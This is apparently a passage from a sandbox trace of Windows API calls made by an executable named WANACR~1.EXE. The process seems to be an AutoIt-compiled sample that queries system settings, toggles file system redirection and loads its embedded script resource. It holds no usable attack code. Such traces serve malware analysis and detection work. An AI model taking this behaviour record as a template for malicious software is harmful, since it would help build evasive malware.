0x7ffe2a07c850 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0037.328] GetCurrentThreadId () returned 0x9c8 [0037.328] GetStartupInfoW (in: lpStartupInfo=0xb6218fe90 | out: lpStartupInfo=0xb6218fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0xb622f5510)) [0037.328] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0037.328] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0037.328] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0037.328] GetCommandLineW () returned="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" [0037.328] GetEnvironmentStringsW () returned 0xb622f64a0* [0037.328] FreeEnvironmentStringsW (penv=0xb622f64a0) returned 1 [0037.328] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0037.329] GetLastError () returned 0x0 [0037.329] SetLastError (dwErrCode=0x0) [0037.329] GetLastError () returned 0x0 [0037.329] SetLastError (dwErrCode=0x0) [0037.329] GetLastError () returned 0x0 [0037.329] SetLastError (dwErrCode=0x0) [0037.329] GetACP () returned 0x4e4 [0037.329] GetLastError () returned 0x0 [0037.329] SetLastError (dwErrCode=0x0) [0037.329] IsValidCodePage (CodePage=0x4e4) returned 1 [0037.329] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xb6218fe00 | out: lpCPInfo=0xb6218fe00) returned 1 [0037.329] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xb6218f8a0 | out: lpCPInfo=0xb6218f8a0) returned 1 [0037.329] GetLastError () returned 0x0 [0037.329] SetLastError (dwErrCode=0x0) [0037.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xb6218f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0037.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xb6218f8c0, cbMultiByte=256, lpWideCharStr=0xb6218f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﲎ㓍⡥") returned 256 [0037.329] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﲎ㓍⡥", cchSrc=256, lpCharType=0xb6218fbc0 | out: lpCharType=0xb6218fbc0) returned 1 [0037.329] GetLastError () returned 0x0 [0037.329] SetLastError (dwErrCode=0x0) [0037.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xb6218f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0037.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xb6218f8c0, cbMultiByte=256, lpWideCharStr=0xb6218f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0037.329] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0037.329] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xb6218f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0037.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0xb6218f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ[\x01", lpUsedDefaultChar=0x0) returned 256 [0037.329] GetLastError () returned 0x0 [0037.329] SetLastError (dwErrCode=0x0) [0037.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xb6218f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0037.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xb6218f8c0, cbMultiByte=256, lpWideCharStr=0xb6218f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0037.329] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0037.330] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xb6218f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0037.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0xb6218fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0037.330] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0037.330] GetVersionExW (in: lpVersionInformation=0xb6218fd20*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0xb6218fd20*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0037.330] GetCurrentProcess () returned 0xffffffffffffffff [0037.330] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0xb6218fe68 | out: Wow64Process=0xb6218fe68) returned 1 [0037.330] GetSystemInfo (in: lpSystemInfo=0xb6218fce8 | out: lpSystemInfo=0xb6218fce8*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0037.331] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0037.331] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0037.331] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0037.331] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0037.331] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0037.331] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0037.331] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0037.332] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0037.332] OleInitialize (pvReserved=0x0) returned 0x0 [0037.357] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0xb6218fe00 | out: phkResult=0xb6218fe00*=0x14c) returned 0x0 [0037.358] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0xb6218fe60, lpcbData=0xb6218fe30*=0x8 | out: lpType=0x0, lpData=0xb6218fe60*=0x30, lpcbData=0xb6218fe30*=0x4) returned 0x0 [0037.358] RegCloseKey (hKey=0x14c) returned 0x0 [0037.360] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb6216fdd0, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0037.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xb6215fd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0037.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xb6216fdd0, lpFilePart=0xb6217fde0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0xb6217fde0*="WANACR~1.EXE") returned 0x26 [0037.361] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0xb6218fe90 | out: phkResult=0xb6218fe90*=0x0) returned 0x2 [0037.361] IsThemeActive () returned 0x1 [0037.361] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0xb6218fec0, fWinIni=0x0 | out: pvParam=0xb6218fec0) returned 1 [0037.361] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0037.361] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xb6216fe90 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0037.362] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb6215fcf0, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0037.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xb6214fca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0037.362] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0037.363] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0037.363] Wow64DisableWow64FsRedirection (in: OldValue=0xb6216fd00 | out: OldValue=0xb6216fd00*=0x0) returned 0 [0037.363] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0037.372] GetCurrentPackageId () returned 0x3d54 [0037.372] CreateFileW (lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xb6216fad0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0037.372] GetFileType (hFile=0x14c) returned 0x1 [0037.372] LoadLibraryExW (lpLibFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0037.372] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0037.372] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0037.372] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0037.372] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0037.373] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xb6216fdc8 | out: ppstm=0xb6216fdc8*=0xb622f6670) returned 0x0 [0037.376] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0037.376] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0037.376] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0037.376] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0037.377] ISequentialStream:RemoteWrite (in: This=0xb622f6670, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0037.377] IStream:RemoteSeek (in: This=0xb622f6670, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0037.377] IStream:RemoteSeek (in: This=0xb622f6670, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xb6216fc98 | out: plibNewPosition=0xb6216fc98) returned 0x0 [0037.377] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb62300a30, cb=0x18, pcbRead=0xb6216fbe0 | out: pv=0xb62300a30*=0xa3, pcbRead=0xb6216fbe0*=0x18) returned 0x0 [0037.377] IStream:RemoteSeek (in: This=0xb622f6670, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xb6216fbe0 | out: plibNewPosition=0xb6216fbe0) returned 0x0 [0037.377] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216fc80, cb=0x4, pcbRead=0xb6216fbe0 | out: pv=0xb6216fc80*=0x45, pcbRead=0xb6216fbe0*=0x4) returned 0x0 [0037.377] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216fcb0, cb=0x10, pcbRead=0xb6216fc80 | out: pv=0xb6216fcb0*=0x4d, pcbRead=0xb6216fc80*=0x10) returned 0x0 [0037.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6216fb40 | out: lpSystemTimeAsFileTime=0xb6216fb40*(dwLowDateTime=0x4a06b45c, dwHighDateTime=0x1d31057)) [0037.377] IStream:RemoteSeek (in: This=0xb622f6670, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xb6216fd18 | out: plibNewPosition=0xb6216fd18) returned 0x0 [0037.378] IStream:RemoteSeek (in: This=0xb622f6670, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xb6216f5f0 | out: plibNewPosition=0xb6216f5f0) returned 0x0 [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216f3a0, cb=0x4, pcbRead=0xb6216f370 | out: pv=0xb6216f3a0*=0x6b, pcbRead=0xb6216f370*=0x4) returned 0x0 [0037.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6216f230 | out: lpSystemTimeAsFileTime=0xb6216f230*(dwLowDateTime=0x4a06b45c, dwHighDateTime=0x1d31057)) [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216f608, cb=0x4, pcbRead=0xb6216f370 | out: pv=0xb6216f608*=0xa6, pcbRead=0xb6216f370*=0x4) returned 0x0 [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216f3b0, cb=0x34, pcbRead=0xb6216f370 | out: pv=0xb6216f3b0*=0xe1, pcbRead=0xb6216f370*=0x34) returned 0x0 [0037.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6216f230 | out: lpSystemTimeAsFileTime=0xb6216f230*(dwLowDateTime=0x4a06b45c, dwHighDateTime=0x1d31057)) [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216f608, cb=0x4, pcbRead=0xb6216f370 | out: pv=0xb6216f608*=0x43, pcbRead=0xb6216f370*=0x4) returned 0x0 [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216fac0, cb=0xc6, pcbRead=0xb6216f370 | out: pv=0xb6216fac0*=0xcd, pcbRead=0xb6216f370*=0xc6) returned 0x0 [0037.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6216f230 | out: lpSystemTimeAsFileTime=0xb6216f230*(dwLowDateTime=0x4a06b45c, dwHighDateTime=0x1d31057)) [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216fd00, cb=0x1, pcbRead=0xb6216f5f0 | out: pv=0xb6216fd00*=0x0, pcbRead=0xb6216f5f0*=0x1) returned 0x0 [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216f620, cb=0x4, pcbRead=0xb6216f5f0 | out: 